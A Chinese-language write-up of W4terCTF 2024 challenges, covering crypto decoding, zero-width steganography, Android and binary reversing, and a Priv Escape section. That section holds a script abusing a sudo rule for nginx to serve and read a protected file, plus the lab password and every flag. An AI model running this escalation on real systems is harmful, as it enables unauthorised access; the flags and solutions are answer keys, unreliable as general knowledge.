Voilx! In view, a humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of Fate. This Visage, no mere Veneer of Vanity, is it Vestige of the Vox populi, now Vacant, Vanished, as the once Vital Voice of the Verisimilitude now Venerates what they once Vilified. However, this Valorous Visitation of a by-gone Vexation, stands Vivified, and has Vowed to Vanquish these Venal and Virulent Vermin vanguard-ing Vice and Vouchsafing the Violently Vicious and Voracious Violation of Volition. Amidst this Vortex of Verbosity, a Veiled Vestige of Vindication emerges: a Variable W4terCTF{bEneATH_Th3_mASk_vIG3N3RE_5TRlK3S_84Ck_WiTH_v3N934nc3}, yet Vivacious Vector for Victory. The only Verdict is Vengeance; a Vendetta, held as a Votive, not in Vain, for the Value and Veracity of such shall one day Vindicate the Vigilant and the Virtuous. Verily, this Vichyssoise of Verbiage Veers most Verbose, yet within its Volumes lies the Vibrant Voice of Validation. In this Vein, it is my Very good honor to meet you and you may call me V.

拿到 flag

W4terCTF{bEneATH_Th3_mASk_vIG3N3RE_5TRlK3S_84Ck_WiTH_v3N934nc3}

# Spam 2024

下载得到一篇很长的垃圾邮件

参考资料:https://forum.rtsec.cn/d/116-gong-fang-shi-jie-crypto-ji-chu-ti-mu-cryptola-ji-you-jian

使用 https://www.spammimic.com/,Decode 正文部分,得到

59,6f,75,20,6c,69,6b,65,20,65,6d,6f,6a,69,73,2c,20,64,6f,6e,27,74,20,79,6f,75,3f,0a,0a,01f643,01f4b5,01f33f,01f3a4,01f6aa,01f30f,01f40e,01f94b,01f6ab,01f606,2705,01f606,01f6b0,01f4c2,01f32a,263a,01f6e9,01f30f,01f4c2,01f579,01f993,01f405,01f375,01f388,01f600,01f504,01f6ab,01f3a4,01f993,2705,01f4ee,01f3a4,01f385,01f34e,01f643,01f309,01f383,01f34d,01f374,01f463,01f6b9,01f923,01f418,01f3f9,263a,01f463,01f4a7,01f463,01f993,01f33f,2328,01f32a,01f30f,01f643,01f375,2753,2602,01f309,01f606,01f3f9,01f375,01f4a7,01f385,01f449,01f30a,01f6b9,01f6aa,01f374,01f60e,01f383,01f32a,01f643,01f441,01f94b,01f451,01f4a7,01f418,01f3a4,01f94b,01f418,01f6e9,01f923,01f309,01f6e9,23e9,01f60d,2753,01f418,01f621,2600,01f60d,01f643,01f601,01f600,01f601,01f6ab,01f4c2,2705,2603,01f6ab,01f60e,01f52a,01f451,01f600,01f579,01f6ab,01f60d,01f32a,01f4c2,01f44c,01f34d,01f44c,01f993,01f590,01f923,01f60e,01f3ce,01f34d,01f3f9,01f34c,01f34d,01f3a4,2600,01f3f9,01f388,01f6b0,01f4a7,2600,2709,01f3f9,01f34d,01f993,01f385,01f374,2602,23e9,01f6aa,01f40d,263a,01f418,01f607,01f621,01f375,01f30f,01f993,01f375,01f6e9,01f4c2,01f44c,01f3f9,01f5d2,01f5d2,0a,0a,42,74,77,2c,20,74,68,65,20,6b,65,79,20,69,73,20,22,4b,45,59,22

From HEX

You like emojis, don't you?
(乱码)
Btw, the key is "KEY"

逗号换成 \u

\u59\u6f\u75\u20\u6c\u69\u6b\u65\u20\u65\u6d\u6f\u6a\u69\u73\u2c\u20\u64\u6f\u6e\u27\u74\u20\u79\u6f\u75\u3f\u0a\u0a\u01f643\u01f4b5\u01f33f\u01f3a4\u01f6aa\u01f30f\u01f40e\u01f94b\u01f6ab\u01f606\u2705\u01f606\u01f6b0\u01f4c2\u01f32a\u263a\u01f6e9\u01f30f\u01f4c2\u01f579\u01f993\u01f405\u01f375\u01f388\u01f600\u01f504\u01f6ab\u01f3a4\u01f993\u2705\u01f4ee\u01f3a4\u01f385\u01f34e\u01f643\u01f309\u01f383\u01f34d\u01f374\u01f463\u01f6b9\u01f923\u01f418\u01f3f9\u263a\u01f463\u01f4a7\u01f463\u01f993\u01f33f\u2328\u01f32a\u01f30f\u01f643\u01f375\u2753\u2602\u01f309\u01f606\u01f3f9\u01f375\u01f4a7\u01f385\u01f449\u01f30a\u01f6b9\u01f6aa\u01f374\u01f60e\u01f383\u01f32a\u01f643\u01f441\u01f94b\u01f451\u01f4a7\u01f418\u01f3a4\u01f94b\u01f418\u01f6e9\u01f923\u01f309\u01f6e9\u23e9\u01f60d\u2753\u01f418\u01f621\u2600\u01f60d\u01f643\u01f601\u01f600\u01f601\u01f6ab\u01f4c2\u2705\u2603\u01f6ab\u01f60e\u01f52a\u01f451\u01f600\u01f579\u01f6ab\u01f60d\u01f32a\u01f4c2\u01f44c\u01f34d\u01f44c\u01f993\u01f590\u01f923\u01f60e\u01f3ce\u01f34d\u01f3f9\u01f34c\u01f34d\u01f3a4\u2600\u01f3f9\u01f388\u01f6b0\u01f4a7\u2600\u2709\u01f3f9\u01f34d\u01f993\u01f385\u01f374\u2602\u23e9\u01f6aa\u01f40d\u263a\u01f418\u01f607\u01f621\u01f375\u01f30f\u01f993\u01f375\u01f6e9\u01f4c2\u01f44c\u01f3f9\u01f5d2\u01f5d2\u0a\u0a\u42\u74\u77\u2c\u20\u74\u68\u65\u20\u6b\u65\u79\u20\u69\u73\u20\u22\u4b\u45\u59\u22

把这个放到 https://www.ifreesite.com/unicode/,得到

You like emojis, don't you?

🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅😆🚰📂🌪☺🛩🌏📂🕹🦓🐅🍵🎈😀🔄🚫🎤🦓✅📮🎤🎅🍎🙃🌉🎃🍍🍴👣🚹🤣🐘🏹☺👣💧👣🦓🌿⌨🌪🌏🙃🍵❓☂🌉😆🏹🍵💧🎅👉🌊🚹🚪🍴😎🎃🌪🙃👁🥋👑💧🐘🎤🥋🐘🛩🤣🌉🛩⏩😍❓🐘😡☀😍🙃😁😀😁🚫📂✅☃🚫😎🔪👑😀🕹🚫😍🌪📂👌🍍👌🦓🖐🤣😎🏎🍍🏹🍌🍍🎤☀🏹🎈🚰💧☀✉🏹🍍🦓🎅🍴☂⏩🚪🐍☺🐘😇😡🍵🌏🦓🍵🛩📂👌🏹🗒🗒

Btw, the key is "KEY"

使用 https://aghorler.github.io/emoji-aes/

key = 🔑, 得到

0x???? ⊕ dxBUQVJndGJbbGByE3tGUW57VxV0bH9db3FSe2YFUndUexVUYWl/QW1FAW1/bW57EhQSEF0=

进行 base64 解码

spam2024

做异或操作,可以猜测开头就是 W4

s = # base64 解码后的数据
while len(s)>1:
    arr = []
    for x in s:
        arr.append(ord(x))
    print(arr)
    h = ord(s[0])^ord('W')
    l = ord(s[1])^ord('4')
    for i,x in enumerate(arr):
        if i % 2 == 0:
            arr[i] = arr[i]^h
        else:
            arr[i] = arr[i]^l
    ret = ''
    for x in arr:
        ret += chr(x)
    print(ret)
    s=s[1:len(s)]

得到:

W4terCTF{H@V3_fuN_w1TH_yOUr_F!rSt_5pAM_eMa!I_IN_2024}

# GZGPT

这里漏出鸡脚了:

鸡脚

于是分析每一行的末尾:

with open("output.log") as f:
    lines = f.readlines()
tails = [line[-9:-1] for line in lines]
tails = [tail for tail in tails if tail[-1] in ('\u200c', '\u200d')]
tails[:10]
['\u200c\u200d\u200c\u200d\u200c\u200d\u200d\u200d',
 '\u200c\u200c\u200d\u200d\u200c\u200d\u200c\u200c',
 '\u200c\u200d\u200d\u200d\u200c\u200d\u200c\u200c',
 '\u200c\u200d\u200d\u200c\u200c\u200d\u200c\u200d',
 '\u200c\u200d\u200d\u200d\u200c\u200c\u200d\u200c',
 '\u200c\u200d\u200c\u200c\u200c\u200c\u200d\u200d',
 '\u200c\u200d\u200c\u200d\u200c\u200d\u200c\u200c',
 '\u200c\u200d\u200c\u200c\u200c\u200d\u200d\u200c',
 '\u200c\u200d\u200d\u200d\u200d\u200c\u200d\u200d',
 '\u200c\u200d\u200c\u200c\u200d\u200c\u200c\u200d']

可以看到有一些行的末尾有且仅有 8 个这种不可见字符,不是所有行都有,但是经验证,这样的行的数量每次都是恒定的。

八位,两种字符,一种当 0 一种当 1 试了试:

d = {
    "\u200c": 0,
    "\u200d": 1,
}
b_tails = "".join([chr(int(''.join([str(d[c]) for c in tail]), 2)) for tail in tails])
b_tails
W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1l}W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1l}W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1

# Priv Escape

首先找 flag ,在 /tmp/flag 找到了,但是没权限读!然后还发现这个文件的 owner 居然不是 root ,而是 r00t (什么高仿 root),这或许就意味着不需要 root 权限也能得到 flag 。

find 查找和 r00t 用户有关的所有文件、目录,会发现 nginx 非常可疑,但这还不够。

关键切入点在于查看与本用户执行权限相关信息:

shell
sudo -l

然后发现 nginx 露出了鸡脚:

shell
User W4terCTFPlayer may run the following commands on
        priv-escape-5ee9f22c905b4d86:
    (r00t) NOPASSWD: /usr/sbin/nginx

这意味着我们的用户可以以 r00t 的身份运行 nginx ,那么依靠 nginx 的网页我们就能读取 /tmp/flag

直接运行 sudo -u r00t nginx ,虽然启动了 nginx ,但是我们不知道咋访问 /tmp/flag ,因为权限问题也无法将 /tmp/flag 软链接到 /var/www/html ,所以我们搞了个脚本用自己的 nginx 配置:

hack.sh
#!/bin/bash
cp -rf /etc/nginx /home/W4terCTFPlayer/nginx
echo "user r00t;
worker_processes auto;
pid /home/W4terCTFPlayer/nginx/nginx.pid;
events {
	worker_connections 768;
}
http {
	sendfile on;
	tcp_nopush on;
	types_hash_max_size 2048;
	include /home/W4terCTFPlayer/nginx/mime.types;
	default_type application/octet-stream;
	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;
	gzip on;
	include /home/W4terCTFPlayer/nginx/conf.d/*.conf;
	include /home/W4terCTFPlayer/nginx/sites-enabled/*;
}" > /home/W4terCTFPlayer/nginx/nginx.conf
rm /home/W4terCTFPlayer/nginx/sites-enabled/default
echo "server {
	listen 8083 default_server;
	listen [::]:8083 default_server;
	root /tmp;
	index index.html index.nginx-debian.html;
	server_name _;
	location / {
		try_files $uri $uri/ =404;
	}
}" > /home/W4terCTFPlayer/nginx/sites-enabled/default
echo '<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    114514
</body>
</html>' > /tmp/index.html
chmod 777 -R /home/W4terCTFPlayer # 不要忘了给 r00t 我们的文件目录访问权限
sudo -u r00t nginx -c /home/W4terCTFPlayer/nginx/nginx.conf # 启动 nginx

然后执行:

shell
# We1c0meToW4terCTF2024!
scp -P 64780 hack.sh W4terCTFPlayer@127.0.0.1:/home/W4terCTFPlayer  # 输入一下密码
ssh W4terCTFPlayer@127.0.0.1 -p 64780  # 输入一下密码
chmod 777 hack.sh
./hack.sh
# sudo -u r00t nginx -s reload -c /home/W4terCTFPlayer/nginx/nginx.conf  # 用来重新加载 nginx 配置文件
curl https://127.0.0.1:8083/flag

然而中途遇到了阻碍,写 WP 的时候才发现似乎是因为我们写脚本的同学用的 mac 的 shell 导致的,在 echo 的时候将 /home/W4terCTFPlayer/nginx/sites-enabled/default 里的 $uri 当成了环境变量?!然后 nginx 返回 301 ...... 脚本里把 $uri 改成 \$uri 就好了

W4terCTF{eScAp3_THE_BouNdarles_OF_n9lnX_pRIvi1eGeS}

# Reverse

# BruteforceMe

下载的附件是一个程序,运行程序后可以输入 flag,程序会判断 flag 长度是否正确,如果长度正确,会给出 flag 经过加密后经比对有多少字符符合

所以,只需要一个 python 脚本猜测每一位的字符,脚本如下

import subprocess
import random
input_data = "W4terCTF###################################" # len = 43
arr = list(input_data)
print(arr)
voc = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
            
def get_flag():
    input_data = ''.join(arr)
    command = ["./BruteforceMe"]
    # 作为子进程启动外部程序
    process = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    # 输入数据到程序的标准输入
    process.stdin.write(input_data)
    process.stdin.flush()
    # 从标准输出读取程序的输出
    output_data, _ = process.communicate()
    #print(output_data)
    j=0
    for i,x in enumerate(output_data):
        if not x.isnumeric():
            j=i+1
        else:
            break
    tmp=[]
    while output_data[j].isnumeric():
        tmp.append(output_data[j])
        j+=1
    c_num = int(''.join(tmp))
    #print(input_data)
    # 打印输出
    #print(output_data)
    #print(c_num)
    return c_num
    
while get_flag() < 60:
    # 随机打乱 voc
    voc = list(voc)
    random.shuffle(voc)
    voc = ''.join(voc)
    for t in range(43):
        old = get_flag()
        #print(f"{t},{old}: ")
        cur_best = old
        for v in voc:
            old_arr = arr[t]
            arr[t]=v
            print(''.join(arr))
            new = get_flag()
            arr[t]=old_arr
            if new >= cur_best:
                #print(f"{v},{new};",end=' ')
                arr[t]=v
                cur_best = new
        #print('')
        
    print(f"best: {get_flag()}")
    print(''.join(arr))

在和 BruteforceMe 同文件夹下执行这个脚本,直到程序遇到报错停止,最后一个输出就是 flag

一般 while 循环执行 3 轮就能得到结果,运行时间 1 分钟以内

W4terCTF{UnR3IAtED_8y73S_CAN_6e_3nUmErAT3d}

# 安安又卓卓

# 第一问:剪刀石头布

这一问可以使用 APKTool 进行逆向

用法参考 https://juejin.cn/post/7216968724938195001

可以得到反编译的 Smali 代码

smali\com\w4ter\w4terctf2024\FirstChall.smali 中找到以下代码

:array_0
    .array-data 2
        0x32s
        0x33s
        0x32s
        0x32s
        0x32s
        0x32s
        0x32s
        0x33s
        0x32s
        0x31s
        0x31s
        0x32s
        0x31s
        0x31s
        0x31s
        0x32s
        0x32s
        0x33s
        0x31s
        0x32s
        ......

经验证,这是机器的出拳顺序

要想赢得机器,对手出 2,我出 1,对手出 3,我出 2,对手出 1,我出 3。

运行下面的脚本,得到我方出拳顺序

rival=[2,3,2,2,2,2,2,3,2,1,1,2,1,1,1,2,2,3,1,2,2,3,2,2,2,3,1,3,2,2,1,2,2,1,3,2,1,1,3,3,2,3,3,2,3,2,2,3,2,3,1,2,2,3,2,2,2,3,2,3,3,3,1,3,2,1,3,2,1,2,2,3,2,3,3,3,2,2,3,3,2,3,2,1,1,3,1,1,2,3,3,3,2,3,3,2,2,3,3,2,2,3,2,3,2,1,3,3,2,2,1,2,2,1,1,1,1,2,2,1,2,1,2,1,3,3,1,3,2,3,1,2,1,2,2,1,2,1,3,2,3,1,1,2,2,3,1,3,2,1,2,2,2,1,3,2,2,1,2,3,2,3,1,3,2,2,1,2,2,3,1,2,2,1,2,1,2,3,3,3,2,2,3,1,2,1,1,1,2,1,2,2,2,3,1,2,1,2,2,1,2,1,3,2,3,3,3,2,2,3,1,2,2,3,1,3,2,1,2,1,3,1,3,3,2,1,3,2,2,2,2,1,2,1,3,2,1,1,1,2,2,1,3,2,2,1,2,2,2,1,2,3,1,3,3,3]
print(len(rival))
my = []
for x in rival:
    my.append((x+1)%3+1)
for x in my:
    print(x,end='')

结果为

1211111213313331123112111232113113213322122121121231121112122232132131121222112212133233122212211221121213221131133331131313223212313113132123311232131113211312123211311231131312221123133313111231311313212221123112321313232213211113132133311321131113123222

粘贴到安卓程序中,得到以下 flag 片段

Android_is_very_interesting_and_

# 第二问:猜数字

第二第三问需要以下工具

https://github.com/java-decompiler/jd-gui

https://github.com/pxb1988/dex2jar

https://blog.csdn.net/katrinawj/article/details/80016315

这样反编译可以得到 java 代码,可读性比 smali 更优

com/w4ter.w4terctf2024/SecondCheck.class ,其中的函数 check0check15 就是分别对 16 个数字进行检验

check10 为例,

private boolean check10(int paramInt) {
    paramInt = xor(xor(xor(add(mul(add(mul(xor(add(mul(sub(paramInt, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13);
    boolean bool = true;
    if (sub(mul(xor(sub(add(paramInt, 1), 9), 12), 3), 4) != 1117943)
      bool = false; 
    return bool;
  }

使用下面的 python 脚本,可以枚举出第 10 个数字

def xor(a, b):
    return a ^ b
def add(a, b):
    return a + b
def sub(a, b):
    return a - b
def mul(a, b):
    return a * b
i=10
up = 2**(i+1)
for j in range(0, up+1):
    paramInt = j
    paramInt = xor(xor(xor(add(mul(
        add(mul(xor(add(mul(sub(paramInt, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13)
    i = sub(paramInt, 6)
    if not (sub(mul(xor(sub(add(paramInt, 1), 9), 12), 3), 4) != 1117943):
        print(f"{j}")

运行结果是 1217

类似的,可以得到全部 16 个数字

2,3,7,14,18,44,82,235,365,715,1217,3774,6025,14042,28572,51291

输入到安卓程序中,得到以下 flag 片段

Smkhwxi8wnGu14Jq

# 第三问:直捣黄龙

com/w4ter.w4terctf2024/ThirdCheck.class ,其中的函数 check0check23 就是分别对 24 个字母进行检验

与之前不同的是,代码中加入了些奇怪的东西

android-3

要想结束 while 循环,就必须执行 3 处的 break,所以正确的字母输入后一定会执行 2 和 3 处的代码

2 处的代码会用到 i 的值,如果输入正确的字母后,只执行 2 处代码没有执行 1 处的代码,i 的值就恒定为 0 而与 paramInt 无关,结果是 paramInt 输入任何值都是合法的,这显然不合理,所以 1 处的代码一定会被执行

综上分析,第三问混淆的代码应该不会影响正常的执行逻辑,可以直接无视。

和第二问一样,写出以下脚本枚举字符

def xor(a, b):
    return a ^ b
def add(a, b):
    return a + b
def sub(a, b):
    return a - b
def mul(a, b):
    return a * b
# paramInt = 2
# print(xor(xor(add(mul(add(xor(add(xor(sub(sub(add(xor(xor(paramInt, 1), 7), 7), 13), 8), 14), 5), 2), 12), 10), 14), 2), 5))
up=256
for j in range(0,up+1):
    paramInt = j
    i = sub(add(add(xor(paramInt, 9), 3), 10), 10)
    if (sub(mul(xor(mul(i, 1), 2), 3), 5) == 313):
        print(f"{j},{chr(j)}")

可以得到第三个字符是 l

类似的,可以枚举得出其他字符,结果为

I_like_Android_Reverse!!

# java 脚本

更简便的方法?

利用已有的 java 源代码可写 java 脚本爆破:

import java.lang.System;
import java.lang.reflect.Method;
import SecondCheck.SecondCheck;
import ThirdCheck.ThirdCheck;
public class Hack {
    private static final int[] ENC2 = new int[] { 
        901, 1554, 17367, 53318, 68796, 19575, 1957, 1461, 485, 790, 
        1281, 218036, 54829, 2367142, 28073245, 51410 };
    public static void main(String[] args) throws Exception {
        char[] flag1 = new char[16];
        for (int i = 1; i <= Math.pow(2,16); i++) {
            for (int j = 0; j < 16; j++){
                Method method = SecondCheck.class.getDeclaredMethod("check" + j, new Class[] { int.class });
                method.setAccessible(true);
                if (callCheck(method, (i))) {
                    String str1 = "flag" + j;
                    Class<Integer> clazz = int.class;
                    Method method2 = SecondCheck.class.getDeclaredMethod(str1, new Class[] { clazz, clazz });
                    method2.setAccessible(true);
                    flag1[j] = (char)callFlag(method2, ENC2[j], i);
                }
            }
        }
        char[] flag2 = new char[24];
        for (int i = 1; i <= 256; i++) {
            for (byte j = 0; j < 24; j++) {
                Method method = ThirdCheck.class.getDeclaredMethod("flag" + j, new Class[] { int.class });
                method.setAccessible(true);
                if (callFlag(method, i)) {
                    flag2[j] = (char)i;
                }
            }
        }
        System.out.println(flag1);
        System.out.println(flag2);
    }
    public static boolean callFlag(Method paramMethod, int paramInt) throws Exception {
        Object object = paramMethod.invoke(new ThirdCheck(), new Object[] { Integer.valueOf(paramInt) });
        return (object instanceof Boolean) ? ((Boolean)object).booleanValue() : false;
    }
    public static int callFlag(Method paramMethod, int paramInt1, int paramInt2) throws Exception {
        Object object = paramMethod.invoke(new SecondCheck(), new Object[] { Integer.valueOf(paramInt1), Integer.valueOf(paramInt2) });
        return (object instanceof Integer) ? ((Integer)object).intValue() : 0;
    }
    public static boolean callCheck(Method paramMethod, int paramInt) throws Exception {
        Object object = paramMethod.invoke(new SecondCheck(), new Object[] { Integer.valueOf(paramInt) });
        return (object instanceof Boolean) ? ((Boolean)object).booleanValue() : false;
    }
}

命令:

javac Hack.java 
java Hack

可以直接得到后面两关的 flag 片段:

Smkhwxi8wnGu14Jq
I_like_Android_Reverse!!

# crabs

使用 IDA 进行逆向

反编译 main 函数:

puts("Enter your flag, and get a picture");
  __isoc99_scanf("%s", &v8);
  if ( (unsigned int)sub_1209(&v8) )
    return 0LL;
  puts("Here is your picture");
  sub_1483(&qword_8390);
  if ( (unsigned int)sub_2B4D(&qword_8390, &v8, v4, v5, v6, v7, v8, v9) )
  {
    puts("nonono, ugly picute");
  }
  else
  {
    puts("okokok, nice picture");
    printf("flag is W4terCTF{%s}\n", (const char *)&v8);
  }
  return 0LL;

# sub_1209

sub_1209 的代码

if ( strlen((const char *)a1) == 55 )
  {
    v2 = *(_QWORD *)(a1 + 8);
    qword_8360 = *(_QWORD *)a1;
    qword_8368 = v2;
    v3 = *(_QWORD *)(a1 + 24);
    qword_8370 = *(_QWORD *)(a1 + 16);
    qword_8378 = v3;
    dword_8380 = *(_DWORD *)(a1 + 32);
    byte_8384 = *(_BYTE *)(a1 + 36);
    for ( i = 0; i <= 36; ++i )
    {
      if ( (i ^ *((char *)&qword_8360 + i)) != byte_6020[i] )
      {
LABEL_19:
        puts("nonono, invalid");
        return 1LL;
      }
    }
    v4 = *(_QWORD *)(a1 + 46);
    qword_8390 = *(_QWORD *)(a1 + 38);
    qword_8398 = v4;
    byte_83A0 = *(_BYTE *)(a1 + 54);
    for ( j = 0; j <= 2; ++j )
    {
      for ( k = 0; k <= 4; ++k )
      {
        if ( (*((char *)&qword_8390 + 6 * j + k) <= 64 || *((char *)&qword_8390 + 6 * j + k) > 90)
          && (*((char *)&qword_8390 + 6 * j + k) <= 96 || *((char *)&qword_8390 + 6 * j + k) > 122)
          && (*((char *)&qword_8390 + 6 * j + k) <= 47 || *((char *)&qword_8390 + 6 * j + k) > 57)
          || j <= 1 && k == 4 && *((_BYTE *)&qword_8390 + 6 * j + 5) != 95 )
        {
          goto LABEL_19;
        }
      }
    }
    return 0LL;
  }
  else
  {
    puts("nonono, length wrong");
    return 1LL;
  }

a1 即为输入的 flag,首先在 11 行对 flag 前 37 列进行异或处理,与 byte_6020 进行比对

byte_6020 的内容如下

byte_6020

用下面的脚本,可以推测 flag 前 37 个字符

a = ['1', 'D', '5', '\\', 'Q', 'V', 'Y', 'c', 'z', 'H', ']',
'T', 'm', 'R', '~', 'c', 'S', '&', 'g', 'a', '39', 'J',
'A', '^', 'L', 'Q', 'E', 'V', ']', '*', 'L', 'v', 'X',
'~', '22', 'M', '@']
b=[]
for x in a:
    if len(x)==1:
        b.append(ord(x))
    else:
        b.append(int(x))
print(b)
c=[]
for i,x in enumerate(b):
    c.append(chr(x^i))
s=''.join(c)
print(len(s))
print(s)

结果为 1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd

代码 24 行之后限定了 flag 的 37 位之后的格式

得到 flag 为 1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd_aaaaa_aaaaa_aaaaa ,其中 a 为未知

# sub_24BD

for ( i = 0; i <= 4; ++i )
{
    for ( j = 0; j <= 16; ++j )
    {
        dword_83C0[17 * i + j] = 0;
        for ( k = 0; k <= 16; ++k )
            dword_83C0[17 * i + j] += byte_8020[55 * i + k] * dword_6060[17 * k + j];
    }
}
if ( memcmp(dword_83C0, &unk_6500, 0x154uLL) )
    return 1LL;
for ( m = 0; m <= 4; ++m )
{
    for ( n = 0; n <= 16; ++n )
    {
        dword_83C0[17 * m + n] = 0;
        for ( ii = 0; ii <= 16; ++ii )
            dword_83C0[17 * m + n] += byte_8020[55 * m + 275 + ii] * dword_6660[17 * ii + n];
    }
}
if ( memcmp(dword_83C0, &unk_6B00, 0x154uLL) )
    return 1LL;
for ( jj = 0; jj <= 4; ++jj )
{
    for ( kk = 0; kk <= 16; ++kk )
    {
        dword_83C0[17 * jj + kk] = 0;
        for ( mm = 0; mm <= 16; ++mm )
            dword_83C0[17 * jj + kk] += byte_8020[55 * jj + 550 + mm] * dword_6C60[17 * mm + kk];
    }
}
return memcmp(dword_83C0, &unk_7100, 0x154uLL) != 0;

以第一组 for 循环为例,实际上是将 byte_8020 的前五行和 dword_6060 进行矩阵乘法,将结果和 unk_6500 对比

dword_6060 和 unk_6500 的数据可以在内存中找到,进行一个矩阵的逆运算,就能求出 byte_8020 的前五行

from data import x6500, x6060
import numpy as np
def hex_to_arr(hex_str: str):
    hex_str = hex_str.strip()
    hex_str = hex_str.replace('\n', ' ')
    hex_str = hex_str.replace('\r', ' ')
    hex_str = hex_str.replace('  ', ' ')
    hex_str = hex_str.split(' ')
    hex_str = [int(i, 16) for i in hex_str]
    return hex_str
x6500 = hex_to_arr(x6500)
#print(len(x6500))
x6060 = hex_to_arr(x6060)
#print(len(x6060))
d65 = np.zeros((5,17))
for i in range(5):
    for j in range(17):
        for k in range(4):
            d65[i][j] += x6500[i*17*4+j*4+k]*256**(k)
d60 = np.zeros((17, 17))
for i in range(17):
    for j in range(17):
        for k in range(4):
            d60[i][j] += x6060[i*17*4+j*4+k]*256**(k)
d60_inv = np.linalg.inv(d60)
d80 = np.dot(d65, d60_inv)
print(d80)

结果为

[[32. 32. 49. 49. 32. 32. 32. 32. 32. 32. 32. 32. 32. 32. 49. 49. 49.]
 [32. 32. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32. 32. 49. 49. 32.]
 [32. 32. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 49. 49. 32. 32. 32.]
 [49. 49. 49. 49. 49. 49. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32.]
 [32. 32. 49. 49. 49. 49. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32.]]

同样的方法,可以得到 byte_8020 的后 10 行

# sub_1483

代码的逻辑大致是根据输入的 flag 的后 17 位,构造 byte_8020

刚才已经求出了 byte_8020,可以用下面的脚本求出 flag 后 17 位

small_alpha_bet = [
'      11    11    111111111111111111    11    11       ',
'           111  1119911191119                          ',
'          11  11111111119999991111111111  11           ',
'  9   9111        9        111  9   99      9   111    ',
'            111111111199111111991111111111             ',
'111  9  9111  1111119111111   111         111  9       ',
'99111  111      9           111111  111  111         11',
'   111     9   111      1119            111   111  111 ',
'   9         111111      9      9      111  99111   111',
'   111     91111119     111         1119111   1119     ',
'    111         111   9  111      1119     111        1',
'        111   11191119    111   991119  111            ',
'     9111111111              111      9111   111   1119',
'1119  111111   111        111111111        9111  99111 ',
'                        1119        111111   111  111  ',
'999     111111        1119  111  11199   9        91119',
'111        111      9     9111     1119  99   111111111',
'        11    11111111111111111111111111    11         ',
'          11  11                      11  11           ',
'   99111     111111     111   111  9       111      9  ',
'        1111119  111111   111              9    111    ',
'   111      11191111119   111  99        111111   11111',
'             111   111     11199           9     991111',
'        9111      111      111111      9   99     111  ',
'9   9      1111119  1119111      111  11111199       11',
'        9   111111111     111111111      9111111    111']
upper_alpha_bet = [
'                   111111  99      111  111111111111111',
'      11  11    11                  11    11  11       ',
'  111     9  111      11199111111              11111111',
'  11111111  11      1199  11  1199      11  11111111111',
'1111111111119   999          111      9  9      111    ',
'111     99   9111                9111111           1119',
'     11111199111111        111111111      111  9111   1',
'      11  111111        111111        111111  111      ',
'        11111111111111111111111111111111111111         ',
'       1119        111     111   9      111            ',
'111   111         9      11199111      1119111         ',
'     111        999   111111111         99     1119111 ',
'  11          11111111      11111111          11    111',
'1111111111  11            11            11  11111111111',
'  1111  11    11        11  11        11    11  1111111',
'111   9           111111           1119111111   9      ',
'9111        11111191111111111119   111         111     ',
'  9111    111111   111   9           111111   111111   ',
'9111   911199     111111           9     9         9111',
'       111   111  9  9   99   1111119      111        1',
'  1111  11  11            11            11  11  1111111',
'111        111  111111111        111111111           11',
'    1111    11      9999  11  9999      1111  11111    ',
'111111     1119111       9      99111   1111119111     ',
'111     9   9   111        1119  111      1111111119111',
'  111     111111111111         1119   111111   1111119 ']
num_bet = [
'111  9   111     99  111111   111           111     111',
'   111   111111      111     9111   111   1111119111  1',
'             9   9   9111111  9      111111111     111 ',
'111       9111111111   111   111        1111111119  911',
'99  9111        1119        1119  111        1119     9',
'   9   111111   9111   9111111111                  9  1',
'     111   111   111  111111              9     9111111',
'          1111111111111111111111111111111111           ',
'       9      111111     9    1111111111111119         ',
'111   111111999111111  9   9111     111   9111        1']
matrix_8020 = [
[32, 32, 49, 49, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49],
[32, 32, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 32],
[32, 32, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 49, 49, 32, 32, 32],
[49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 49, 49, 49, 49, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 32, 32, 49, 49, 49, 49, 32, 32, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 49, 49, 49, 49, 32],
[32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49, 49, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 49],
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 32, 32, 32],
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 32, 32, 32, 32, 49],
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 32]]
str_array_8020 = [ (''.join(chr(x) for x in line )) for line in matrix_8020]
# print(str_array_8020)
